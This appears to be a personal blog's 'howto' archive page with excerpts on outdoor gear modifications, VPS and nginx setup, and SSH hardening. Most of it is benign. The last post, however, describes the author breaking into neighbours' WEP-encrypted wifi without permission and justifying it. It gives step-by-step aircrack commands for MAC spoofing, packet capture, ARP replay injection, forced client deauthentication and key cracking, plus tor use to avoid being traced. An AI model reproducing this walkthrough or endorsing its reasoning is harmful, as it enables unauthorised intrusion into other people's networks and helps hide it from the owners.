Tag: howto

I purchased a pair of Outdoor Research Flex-Tex Gaiters last spring. I had owned the full-length Rocky Mountain High Gaiters from Outdoor Research for a year, and was a big fan of them. They are not completely waterproof, but are highly water-resistant, and still maintain a level of breathability that makes them appropriate for year-round use. I find them adequate for protecting my legs when bushwhacking and for keeping me warm and dry when traveling in rain and snow — but I’m always looking to loose weight. My eye had been on the Flex-Tex gaiters for a while. I thought that they would be a good alternative to full-length gaiters during the warmer months: something lighter and cooler which could provide protection from debris but would also handle the wet and snow that is often found in the alpine summer.

When I went to purchase the gaiters, I found that sizing was an issue. Unlike Outdoor Research’s other gaiters, the Flex-Tex do not come in normal sizes. They are offered only in the combination sizes of Small/Medium and Large/Extra Large. In the Rocky Mountain High gaiters I wear a medium. The Small/Medium Flex-Tex gaiters were far too small for me to even get on. The Large/Extra Large gaiters fit well around my footwear, but were loose at the top around my calf. Unlike other gaiters from Outdoor Research, the Flex-Tex had no adjustment to tighten the fit.

I purchased them anyway, thinking to give them a shot. After using them on an early season trip in the snow, it was evident that they would not work. The loose top allowed too much snow to enter the gaiter.

Continue reading »

Many outdoor gear brands sell thin webbing belts. These belts aren’t meant to hold much gear. They simply hold your pants up. The thin, pliable webbing makes for a svelte belt that can be comfortably worn under a pack hip belt or a climbing harness. The webbing also tends to be of a low quality, and the belts are often priced ridiculously high. Why pay $15 for something that you can make yourself at little cost, if not for free?

I had worn a Frequent Flyer Belt from The Wilderness Tactical on a daily basis for a number of years. It is an excellent belt, but I occasionally found the wide and thick webbing, which is appropriate for some uses, to be uncomfortable and cause chafing under the heavy hip belt of my pack. As an experiment, I purchased a Patagonia Friction Belt when it was heavily discounted during a sale. That worked well for a while — it was more comfortable under my pack — but the webbing used was very low quality. It was also still a bit stiff. I thought, why should there be any stiffness at all to the belt? It serves no purpose in the backcountry.

Continue reading »

Three years ago I wrote a guide to building a VPS web server for serving sites in a PHP environment. That setup served me well for some time, but most of the sites I run now — including this one — are now written in Python. Earlier this year I built another web server to reflect this. It’s similar to before; I still use Ubuntu and I still like to serve pages with nginx. But PHP has been replaced with Python, and many of the packages used to build the environment have changed as a result. As with the last time, I decided to compile my notes into a guide, both for my own reference and in case anyone else would like to duplicate it. So far, the server has proven to be fast and efficient. It serves Python using uWSGI, uses a PostgreSQL database, and includes a simple mail server provided by Postfix. I think it’s a good setup for serving simple Django-based websites.

Continue reading »

Those chain cleaning tools sold at most outdoors stores tend to pretty useless in my experience. They run around $30, but end up being cheap and ineffective pieces of plastic. I’ve given up on them in favor of cleaning my chain manually via a method discovered on Sheldon Brown’s chain maintenance page (any man with a beard like that must be infallible).

All that’s needed is a chain tool, a bottle, some sort of degrease-ing dish soap, and water.

Continue reading »

Although I have misgivings about their durability, Platypus‘ 2L+ bottles remains the primary water reservoirs in my pack. It’s been a bit over a year now since I started using them. At the same time I switched over to Platypus, I also started treating my water with chemicals rather than filtering it. Both methods of treatment have their advantages and disadvantages, but lately I have been using chemicals almost exclusively.

A water filter, of course, filters out not only the invisible nasties that upset the stomach, but also the visible things things that don’t cause much harm but aren’t altogether pleasant: dirt, dead bugs, small rocks, and the like. When I moved to using chemicals I was just dumping the water into my drinking vessel direct from the source. Without any sort of filter, the water could sometimes be a bit gritty. Too textured for my taste.

As a first attempt to solve this I started to place a bandanna over the opening of the Platypus, and then poured the source water over that. That worked great for getting out the sediment, but then I had the problem of having a wet rag. If the sun is out, it dries, but the other 307 days of the year, the bandanna — even a synthetic Buff — became a bit of a hassle to dry. I wanted some sort of pre-filter that I could get wet without worrying about it.

The solution (like more than a few before it) came while browsing the BackpackingLight forums.

Continue reading »

When I purchased my Trail Designs Ti-Tri Titanium Stove System, I bought it with a 900mL pot from Titanium Goat. I like the pot, but it has one shortcoming: there are no measuring marks on it. I’m not comfortable just pouring a little water into a pot and saying “Well, that looks like 2 cups.” I prefer a slightly higher level of accuracy.

Originally I addressed this by scoring the handle of my spork to mark 1, 2, and 3 cups measured in the pot — an idea which I think originally came to me from somewhere on the BackpackingLight Forums. This method works ok — though making the marks deep enough to be visible on the titanium was a bit tough with my knife — but I’ve never felt that it is very accurate. It will tell me if I have roughly 1 cup of water in the pot, but I could really be anywhere between 3/4 of a cup to 1 1/4 cups. That’s the difference between nice, fluffy couscous and overly soggy (or dry and undercooked) couscous, you know.

Continue reading »

Here’s an idea I stole from the excellent BFE Labs: hacking a Rite in the Rain notebook to include a retention strap. The original idea at BFE was just a strap to keep the notebook closed and contain loose leafs that were shoved inside, but while making the strap he accidentally cut the webbing too short. To solve this he sewed on another piece of webbing as an extension and found that the overlap between the two pieces made a good pen holder.

I thought this was a neat idea, but the tri-glide fastener used in BFE’s version seemed a little cumbersome. I knew I would want some sort of quick release buckle. A traditional side release buckle would be too bulky for my tastes, particularly when the notebook is shoved in a pocket. The other thought I had was that using elastic webbing for the pen loop might increase the versatility of the strap, since it could expand to fit different sized tools.

I didn’t have any 1” elastic webbing hanging about, but I did have some spare webbing and an old buckle from a previous project. With those two things along with a knife and my repair kit, I set out to see what I could do about whipping up some kind of strap.

Continue reading »

The greatest disappointment about any Mora knife is the sheath: a flimsy, plastic thing that won’t easily fit on a decent sized belt and does not even hold the knife very securely. As they come, I consider them unusable. But a few simple modifications and additions make them quite acceptable.

The Mora knife sheaths are designed to be mounted either on a button on a pair of coveralls or through a belt. Apparently people wear very small, skinny belts in Sweden. Over here in the United States of Gun Belts, that doesn’t fly. The belt slot on the sheath can be forcefully enlarged by shoving in a piece of wood, such as a ruler, and applying heat to cause the plastic to expand, but I don’t trust that such an act will not over weaken the plastic. I’m not a big fan of carrying a Mora directly on my belt, anyway. Usually, I’ll carry the knife either on a lanyard around my neck or as a dangler off my belt. But both of these setups allow the possibility of the knife and sheath to swing freely, accentuating the problem of an insecure fit.

Continue reading »

If an inner-tube can be used to rubberize a BIC lighter, why not a knife?

One of the pesky traits of the wooden handled Mora knives is their lack of grip when wet. One could acquire a Mora with a rubber handle, but, let’s face it: those are ugly. Instead, I cut a piece of 700x35 bicycle inner-tube about an inch wide and slide this just less than halfway on to the handle. The grip is immediately improved. If you were so inclined, you cut a piece the length of the handle and cover the whole thing, but so far it seems that this small piece is enough.

As with the rubberized BIC, this also provides another way to carry tinder that will work even when wet (though it will require a lighter or candle to start).

Here’s a neat trick I picked up from Dusty’s YouTube video. In the video, he shows how to use a couple of old bicycle inner-tubes to make a semi-waterproof pouch for a BIC lighter. That didn’t appeal to me too much: I always carry a BIC in my pocket and his idea added to much bulk for my liking. But, at the end of the video, he cut a smaller piece of inner-tube to make a sort of sheath for the lighter.

I thought that was a great idea. It gives you a nice, rubberized grip for the BIC and provides a simple way of always carrying waterproof tinder.

I’ve now cut off pieces from a 700x35 bicycle inner-tube and made this modification to all my lighters.

(A new version of this tutorial has appeared on ITS Tactical, detailing my updated construction method. The following is outdated, but left for posterity.)

Tyvek is a synthetic material made by DuPont, most regularly used at construction sites for wrapping house frames. It is a rather strong material and fairly waterproof. It is so ubiqitous in industrial usage as to be freely available to the intrepid individual. Partly because of this, Tyvek is popular among many lightweight travelers for use as a cheap, lightweight, and effective groundcloth for a tarp shelter.

The United States Postal Service’s Priority Mail envelopes are also made out of the material. A few months ago I saw a picture of one of these envelopes in use as a stuff sack. I thought it was a great idea and decided to make my own. I’ve since made two of them. It’s a very simple process.

Continue reading »

OpenSSH has a history of security. Only rarely are holes found in the actual program. It’s much more likely that a system will be compromised through poor configuration of the SSH daemon. Ideally, an SSH config would allow only protocol 2 connections, allow only specified users to connect (and certainly not root), disable X11 forwarding, disable password authentication (forcing ssh keys instead), and allowing connections only from specified IPs. These config options would look like this:

Protocol 2
PermitRootLogin no
AllowUsers demo
X11Forwarding no
PasswordAuthentication no

Allowing connections from only specified IP addresses would be accomplished by adding something like the following to /etc/hosts.deny:

sshd: ALL # Deny all by default
sshd: 192.168.1.0/255.255.255.0 # Allow this subnet
sshd: 4.2.2.1 # Allow this IP

(You could also accomplish this with iptables, but I think editing the above file is simpler.)

But the last two options — disabling password auth and allowing only certain IP addresses — limits mobility. I constantly login to my slice from multiple IPs, and I also need to login during travel when I may or may not have my key on me.

The main thing these two options protect against is a brute force attack. By allowing password logins from any IP, we give the attacker the ability to exploit the weakest part of SSH. This is where DenyHosts comes in.

DenyHosts is a python script which attempts to recognize and block brute force attacks. It has many attractive features and is included in the default Ubuntu repositories.

$ sudo aptitude install denyhosts

The config file is located at /etc/denyhosts.conf. It is very simply and readable. I recommend reading through it, but most of the default options are acceptable. If any changes are made, the daemon must be restarted:

$ sudo /etc/init.d/denyhosts restart

Default Ports

Many people also advocating changing SSH’s default port to something other than 22 (more specifically, something over 1024, which won’t be scanned by default by nmap). The argument in support of this is that many automated attack scripts look for SSH only on port 22. By changing the port, you save yourself the headache of dealing with script kiddies. Opponents to changing the port would argue that the annoyance of having to specify the port number whenever using ssh or scp outweighs the minute security benefits. It’s a heated argument. I lean toward leaving SSH on the default port.

As mentioned previously, I’ve recently moved this domain over to Slicehost. What follows is Part Four of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also Part One, Part Two, and Part Three.

I prefer to install Wordpress via Subversion, which makes updating easier. We’ll have to install Subversion on the server first:

$ sudo aptitude install subversion

Continue reading »

As mentioned previously, I’ve recently moved this domain over to Slicehost. What follows is Part Three of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also Part One, Part Two, and Part Four.

Last week I moved this domain’s email to Google Apps. Slicehost has a guide to creating MX records for Google Apps. I have a couple other domains with Google Apps, along with a couple domains hosted locally with addresses that simply forward to my primary, Google hosted, email. I also need to send mail from the server. To accomplish all of this, I use Postfix.

Continue reading »

As mentioned previously, I’ve recently moved this domain over to Slicehost. What follows is Part Two of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also Part One, Part Three, Part Four.

Now we’ve got a properly configured, but idle, box. Let’s do something with it.

Nginx is a small, lightweight web server that’s all the rage on some small corners of the Net. Apache is extremely overkill for a small personal web server like this and, since we’re limited to 256MB of RAM on this VPS, it quickly becomes a resource hog. Lighttpd is another small, lightweight web server, but I’m a fan of Nginx. Try it out.

Continue reading »

As mentioned previously, I’ve recently moved this domain over to Slicehost. What follows is Part One of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also Part Two, Part Three, and Part Four.

Slicehost has an excellent article repository, containing guides on a number of subjects. After building a fresh Slice, you should first follow Part 1 and Part 2 of Slicehost’s basic setup articles.

I use slightly different coloring in my bash prompt, so, rather than what Slicehost suggests in their article, I add the following to ~/.bashrc:

Continue reading »

Before moving into my new place last month, I had planned on paying an ISP for internet access. But, complications arose with the company I had chosen, so I decided to cancel my order soon after it was placed. Instead, I planned to borrow internet access from my neighbors (hey, they’re pumping signals into my air-space). Trouble was, everyone had encrypted their networks with WEP. No doubt this is a good thing, and a vast improvement from the last time I had scanned down here (about 8 months ago), but I wanted in. I was able to justify cracking in to myself by recognizing that my paranoia isn’t limited just to the “others” out on the global interwebs — no, I’d be just as paranoid about the owner of whomever’s network I was breaking into watching my traffic. There was no question I’d make ample use of encryption, which, as a side benefit, meant that anything I did through his connection would be rather difficult to trace back. So, he was protected. As long as he wasn’t paying for bandwidth by the KB, he’d not be much affected by my leeching. (I use the pronoun “he” because I know now that the owner of my primary network is, in fact, a he — put a password on your routers, people!).

But there was another problem, in addition to WEP: during reconnaissance, I would rarely pick up any connected clients. Perhaps I was always trying at the wrong time of day. Or perhaps people pay for internet access and never use it. Regardless, it would have taken weeks of constant logging to gather enough IVs to crack the WEP key. So, the first step was to take the money I had saved by canceling my order with the ISP, and invest in a new wireless card that supported packet injection.

The Proxim 8470-WD (from aircrack-ng’s recommended list) caught my eye, though it took a while before I could find it a decent price. To do my initial cracking, I popped in Backtrack and followed aircrack-ng’s newbie guide. (I had upgraded my trusty old Auditor cd to Backtrack just for this occasion. It’s quite the nice distribution.) Within about 5 minutes, I had gained access to the first network. Goes to show how secure WEP is.

Though the Proxim card is plug and play in Ubuntu, the steps to crack WEP are a little different. Here’s what I do (note that I do recommend using Backtrack, instead).

First, of course, one must install aircrack:

sudo apt-get install aircrack

You may change your mac address manually, or, if you aren’t concerned with anonymity, don’t change it all. I have a preference of using the macchanger tool:

sudo apt-get install macchanger

Set your card’s MAC address randomly. In this case, the network device is at ath0:

sudo ifconfig ath0 down
sudo macchanger -r ath0
sudo ifconfig ath0 up

Put your card into monitor mode:

sudo iwconfig ath0 mode monitor

Start scanning:

sudo airodump ath0 dump 0

In this case, dump is the file prefix for airodump’s output and the 0 tells airodump to channel-hop. Now you want to pick your target network from the scan. It should have at least one client connected (displayed at the bottom of airodump’s output), the more the merrier. (Hopefully that client is transmitting data, too.)

When you pick your target, kill the first instance of airodump and start it up again, this time specifying the channel of your target:

sudo airodump ath0 targetdump 9

The targetdump is the file prefix and 9 is the channel. Optionally you can add a 1 to the end of the command, which tells airodump to only capture IVs (which is what you’re after). I normally don’t bother.

When you’ve captured somewhere in the range of 250,000 - 500,000 data packets (shown by airodump in the “Packets” column of your target client), you can start cracking:

aircrack -b 00:12:34:45:78:A3 targetdump.cap

In this case, -b is the essid of your target network. Cracking could take minutes, hours, days, weeks, months, or years. I’ve never had to wait over 20 minutes.

But what if the client is being a party-pooper and not transmitting? That’s where packet injection comes in. From aircrack’s guide:

ARP works (simplified) by broadcasting a query for an IP and the device that has this IP sends back an answer. Because WEP does not protect against replay, you can sniff a packet, send it out again and again and it is still valid. So you just have to capture and replay an ARP-request targeted at the AP to create lots of traffic (and sniff IVs).

You’ll want to keep airodump running, so that all the traffic you generate will be captured. In another terminal, start injecting:

sudo aireplay -3 -b 00:12:34:45:78:A3 -h A3:78:45:34:12:00 ath0

The -3 tells airepay you want to replay ARP requests, -b is that target network, and -h is the client. In a little bit, aireplay should inform you that it has captured 1 (or more) ARP packets. Sit back and watch airodump count up the IVs.

If that pesky client still isn’t cooperating, you can give it a little motivation. From aircrack:

Most operating systems clear the ARP cache on disconnection. If they want to send the next packet after reconnection (or just use DHCP), they have to send out ARP requests. So the idea is to disconnect a client and force it to reconnect to capture an ARP-request. A side-effect is that you can sniff the ESSID during reconnection too. This comes in handy if the ESSID of your target is hidden. …the risk that someone recognizes this attack or at least attention is drawn to the stuff happening on the WLAN is higher than with other attacks.

Keep airodump and aireplay running, and in a new terminal give it a little kick in the butt:

sudo aireplay -0 5 -a 00:12:34:45:78:A3 -c A3:78:45:34:12:00 ath0

The first switch, -0, informs aireplay you want to force the client to be unauthenticated, -a is the target network, -c is the target client. When the client reconnects, you should start grabbing ARP requests.

After you have enough packets, crack the WEP key as before.

To manage and connect to my wireless networks, I’ve taken to using wifi-radar. It scans for networks, allows you to specify which networks you prefer and, for each network, allows you to set preferences such as the WEP key, whether to use dynamic or static addresses, and the like. What I like best is the connection commands, which allows you to set commands you want executed before wifi-radar connects to the network, and after. In the before field, I have it randomly change my mac address:

ifconfig ath0 down && macchanger -r ath0 && ifconfig ath0 up

After it connects, I restart tor:

/etc/init.d/tor restart

(As another reference for you, this site keeps turning up as a guide to cracking WEP in Ubuntu.)